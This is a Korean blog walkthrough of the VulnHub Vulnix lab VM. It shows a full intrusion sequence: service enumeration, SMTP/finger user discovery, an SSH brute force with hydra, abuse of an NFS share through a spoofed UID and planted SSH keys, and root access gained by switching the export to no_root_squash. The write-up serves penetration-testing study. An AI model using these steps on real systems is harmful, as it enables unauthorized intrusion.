https://www.vulnhub.com/entry/hacklab-vulnix,48/

 

 

 

 

 


 

 

 

[선수 지식]

 

 

 

포트별 특성 및 취약점

 

1. ftp 21 :

File Transfer protocol

버퍼오버플로우 / 포멧스트링공격/

anonymous login / root 로그인 허용

등 가능

 

 

2. smtp 25 :

simple mail transfer protocol

메일을 보내기 위한 프로토콜

보통 sendmail을 사용함.

보안 이슈로는 expn(expansion)과

vrfy(verify) 명령어를 이용해

해당 시스템의 특정 계정의 존재 여부를 알 수 있음

예) expn root / vrfy root

 

 

3. finger 79 :

사용자 정보 확인 서비스,

비인가자에게 사용자 계정 정보가 제공되어

패스워드 공격을 통한 시스템 권한 탈취가 가능함

현재 로그인 중인 사용자 계정에 대한 정보 및

원격에서 시스템의 계정 존재 유무 / 접속 시간 등 확인 가능.

 

 

4. pop3 110 :

post office protocol

메일 수신 프로토콜

 

 

5. rpcBind 111 :

Sun에서 만든 RPC 프로토콜.

SunRPC(Sun Remote Procedure Call)

포트를 RPC에 등록해 놓고 클라이언트가

RPC에 질의해 필요한 포트를 할당받고,

할당된 포트를 이용해 자신에게 필요한

서비스로 연결을 시도하는 프로토콜.

RPC에 의해 구동되는 서비스들이

보안상 문제가 될 수 있음

 

 

6. imap 143 :

Internet Message Access protocol

 

 

7. exex/login/shell 512_514 :

r 계열의 명령어 (rexec/rlogin/rsh)와

관련된 서비스로 원격에서 명령어 실행이 가능

 

 

8. NFS

대상 서버의 NFS 공유 자원에 접근 가능하며

마운트를 수행해 파일 읽기 쓰기가 가능한 취약점,

다른 컴퓨터의 파일시스템을 로컬 시스템에 마운트하고

공유하여 상대방 파일 시스템 일부를 자신의 디렉터리처럼

사용할 수 있도록 한다.

 

 

 


 

 

 

[풀이]

 

 

 

1. Enumeration

 

1-1) Service Enumeration (오픈 포트 및 서비스 확인)

# nmap -sV -O 192.168.20.5

 

Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-15 12:04 KST

[2021-03-15 12:05:18.115] [ ] [debug] autosave: time to save file

Nmap scan report for 192.168.20.5

Host is up (0.0023s latency).

Not shown: 988 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)

25/tcp open smtp Postfix smtpd

79/tcp open finger Linux fingerd

110/tcp open pop3 Dovecot pop3d

111/tcp open rpcbind 2-4 (RPC #100000)

rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 3,4 111/tcp6 rpcbind

| 100000 3,4 111/udp6 rpcbind

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/tcp6 nfs

| 100003 2,3,4 2049/udp nfs

| 100003 2,3,4 2049/udp6 nfs

| 100005 1,2,3 34155/tcp6 mountd

| 100005 1,2,3 46419/udp mountd

| 100005 1,2,3 49418/tcp mountd

| 100005 1,2,3 56687/udp6 mountd

| 100021 1,3,4 45259/udp nlockmgr

| 100021 1,3,4 46444/udp6 nlockmgr

| 100021 1,3,4 47412/tcp nlockmgr

| 100021 1,3,4 51087/tcp6 nlockmgr

| 100024 1 33665/udp status

| 100024 1 49712/tcp status

| 100024 1 54121/udp6 status

| 100024 1 54667/tcp6 status

| 100227 2,3 2049/tcp nfs_acl

| 100227 2,3 2049/tcp6 nfs_acl

| 100227 2,3 2049/udp nfs_acl

|_ 100227 2,3 2049/udp6 nfs_acl

 

143/tcp open imap Dovecot imapd

512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open shell Netkit rshd

993/tcp open ssl/imaps?

995/tcp open ssl/pop3s?

2049/tcp open nfs_acl 2-3 (RPC #100227)

 

 

notables are:

> Port 22: SSH

> Port 25: SMTP

> Port 79: Finger

> Port 110: POP3

> Port 111: RPCbind

> Port 143: IMAP

> Port 512: RSH (Remote shell)

> Port 513: RLogin

> Port 514: shell

> Port 2049: nsf

 

 

1-2) 포트별 취약점 공략

ㄱ) ssh

별거 안 나옴

 

 

ㄴ) SMTP or finger로 유저 목록 확인

# msfconsole -q

> search auxiliary/scanner/smtp (scanner/finger)

> use auxiliary/scanner/smtp/smtp_enum (scanner/finger/finger_users)

> set RHOST 192.168.20.5

> set THREADS 10

> exploit

 

 

SMTP 결과

 

Finger 결과

 

 

다음 작업을 위해 찾은 사용자들을

리스트에 담아 파일로 만들어둔다.

 

 

같은 작업을

smtp-user-enum

프로그램을 사용해 해도 되는데

이때 사용할 사용자 목록 리스트는

다음 경로에 있는 파일을 사용한다.

# /usr/share/metasploit-framework/data/wordlists/unix_users.txt

 

 

# smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.20.5

 

 

 

finger로 유저 정보 확인

위에서 얻은 리스트를 하나씩 대입해 넣어본다

 

# finger user@192.168.20.5

 

하지만 힘들기 때문에

툴을 사용해 돌려준다.

 

# git clone https://github.com/Kan1shka9/Finger-User-Enumeration.git

#./finger_enum_user.sh users.txt

 

 

 

ㄷ) rpcBind

nmap으로 이미 확인했지만 다시 한번 확인

# rpcinfo -p 192.168.20.5

 

 

 

 

 

ㄹ) NSF

2049번 포트로 활성화되어 있다.

다시 한번 nmap으로 확인해보자

# nmap -sU -sT 192.168.20.5 -p 2049

 

 

다음으로

showmount 명령어를 활용해

공유되고 있는 디렉터리를 확인해

 

# showmount -e 192.168.20.5

 

공격 서버에 마운트 시켜준다.

 

# mkdir /mnt/vulnix

# mount -t 192.168.20.5:/home/vulnix /mnt/vulnix

 

하지만 권한이 없어서 들어가지 못한다.

 

 

 

 


 

 

 

2. Gainning Access

 

 

2-1) Brute Force SSH

현재 user, vulnix라는 사용자를 알고 있는 상태,

hydra 툴을 사용해 암호를 캐내본다.

 

 

Dictionary Attack에 사용할 파일은

# cd /usr/share/wordlists/rockyou.txt.gz

란 파일로 압축을 해제 후 사용해본다.

# gzip -d rockyou.txt.gz

14,344,392개 ㄷㄷ

 

 

 

 

 

# hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.20.5 ssh -t 3

시간이 30분 걸렸다 ㄷㄷㄷ

 

 

그래도 하나 찾음

user : user

password : letmein

 

 

접속 시도

# ssh user@192.168.20.5

 

접속 성공!

바로 루트 전환 가능한지 시도해 봤지만 실패.

이 사용자는 sudoers에 속해있지 않단다.

 

 

2-2) Previlege Escalation

사용자들을 찾아보자.

 

위에서 마운트 했던 vulnix 사용자가 있고

해당 사용자의 UID와 GID를 확인했다.

2008:2008

 

해당 정보를 가지고 로컬 서버에서

vulnix 사용자를 생성해 주자.

 

# useradd -u 2008 vulnix

# tail -1 /etc/passwd

# su vulnix

$ id

 

생성 후 접근 권한이 없었던

vulnix 폴더에 접근해본다.

 

# cd /mnt/vulnix

# ls -al

성공

 

 

이번에는 SSH key를 생성해

vulnix 유저로 접속을 해본다.

 

 

순서

1) ssh-keygen으로 ssh key 짝 만들기

2) vulnix 사용자로 전환해 마운트 되어있는 /home/vulnix 아래 .ssh 디렉터리를 만들기

3) Public key를 복사해 2번에 저장

4) 침투

 

 

1) 키 생성 및 확인

# ssh-keygen

# ls /root/.ssh

# cat /root/.ssh/id_rsa.pub

 

 

 

 

2,3) 사용자 전환 및 키 복사

# su vulnix

# cd /mnt/vulnix

# mkdir -p .ssh

# cd .ssh

# echo 'copied_key' > authorized_keys

 

 

 

4) 접속 시도

# ssh vulnix@192.168.20.5

(# ssh -i /root/.ssh/id_rsa vulnix@192.168.20.5)

 

접속 성공

 

 

5) 권한 상승을 위한 힌트를 얻어보자

# sudo -l

 

vulnix 사용자가 root 권한으로

sudoedit /etc/exports를 실행시킬 수

있다고 한다.

 

 

해당 파일의 내용은 다음과 같다.

 

 

 

파일을 실행시켜 보면

 

나노 프로그램이 열려

nfs 관련 내용을 수정할 수 있다.

 

 

수정할 부분은 맨 아래

/home/vulnix 부분의

rw,root_squash를

no_root_squash로 변경해 준다.

 

 

[참고] root_squash :

Root squash is a technique to void privilege escalation on the client machine via suid executables Setuid. Without root squash, an attacker can generate suid binaries on the server that are executed as root on other client, even if the client user does not have superuser privileges.

 

root_squash는 suid 실행 파일인 Setuid를 통해

클라이언트 시스템에서 권한 상승을 무효화하는 기술이다.

루트스쿼시 기능을 꺼 놓으면(no_root_squash)

공격자는 상대편 서버에서 루트 권한으로 실행 가능한

SUID 바이너리를 생성할 수 있다.

 

 

# sudoedit /etc/exports

# cat /etc/exports

 

 

 

 

6) 변경 사항이 적용되도록

대상 서버를 재부팅 시켜야 하는데

방법이 없다. 일단 그냥 진행해보자

 

 

 

7) 로컬로 돌아가 마운트 정보를 한 번 보고

# df

 

마지막 192.168.20.5:/home/vulnix를

언마운트 시켜준다.

 

# umount /mnt/vulnix

# df로 확인

 

8) 다시 마운트를 해주고

마운트 대상에 로컬의 bash 쉘을

복사한 뒤 Sticky bit(setuid permission)를 걸어준다.

 

 

# mount -t nfs 192.168.20.5:/home/vulnix vulix

# su vulnix

$ cp /bin/bash vulnix

$ chmod 4777 bash

이제 상대 서버에 침투해

쉘을 실행시킬 수 있다.

 

 

9) vulnix 서버에 접속해

복사한 bash 쉘을 실행시켜 보자.

 

./bash -p

 

실행이 안 된다.

다른 방법으로 쉘 코드를 생성해

컴파일 후 실행해도 안된다. 이유는

 

 

: 커널 비트가 서로 맞지 않아

실행이 안 되는 것.

 

 

커널 비트를 확인해보자

# getconf LONG_BIT

: 로컬은 64, 타깃은 32

 

 

10) 64비트 프로그램을 32비트로 컴파일 하는 법 :

# apt-get install -y gcc-multilib 설치 후

gcc로 컴파일 중 -m32 옵션을 넣어준다.

# gcc -o root32 root.c -m32

해당 파일에 setuid를 걸어주고

# chmod 4777 root32

침투 서버에서 실행해 주면!!!!

 

안된다..

호우..

 

다른 방법을 시도한다.

 

 

11) 침투 서버에서 수정이 가능했던 파일에 들어가

/root 디렉터리 + no_root_squash를 추가해 준다.

 

수정사항이 적용되도록 시스템을 재부팅 해야 하는데

지금은 VM을 깔아서 하는 입장이라 쉽게 재부팅 할 수 있지만

실제 환경에서는 어떻게 해야 할지 고민이 필요하겠다.

 

 

일단 VM 재부팅..

 

 

 

12) 재부팅 후 showmount로 정보를 보면

위에서 변경한 사항이 적용되어 있다.

 

 

이제 /root 디렉터리 마운트가 가능하다.

# mount -t nfs 192.168.20.5:/root vulnix

해당 디렉터리로 들어가 보면 trophy.txt 파일이 보이고

열어보면 해쉬 키값이 있다.

: cc614640424f5bd60ce5d5264899c3be

 

 

 

13) 사실상 끝났지만 ssh로 root에 접속하는 방법을 살펴보자.

.ssh 폴더를 생성해 주고 위에서 생성시킨 id_rsa.pub 값을

authorized 키로 저장해 주면 된다. 다음 ssh root로 접속 시도.

 

# mkdir .ssh

# cd .ssh

# cp /root/.ssh/id_rsa.pub authorized_keys

# ssh root@192.168.20.5

 

728x90

'OSCP > Vulnahub' 카테고리의 다른 글

1. DC: 9  (0) 2021.03.17
현 OSCP 코스 시스템과 비슷한 박스 시작  (0) 2021.03.16
6. Brainpan  (0) 2021.03.14
5. SickOs.1.2  (0) 2021.03.10
4. VulnOSv2  (0) 2021.03.06

+ Recent posts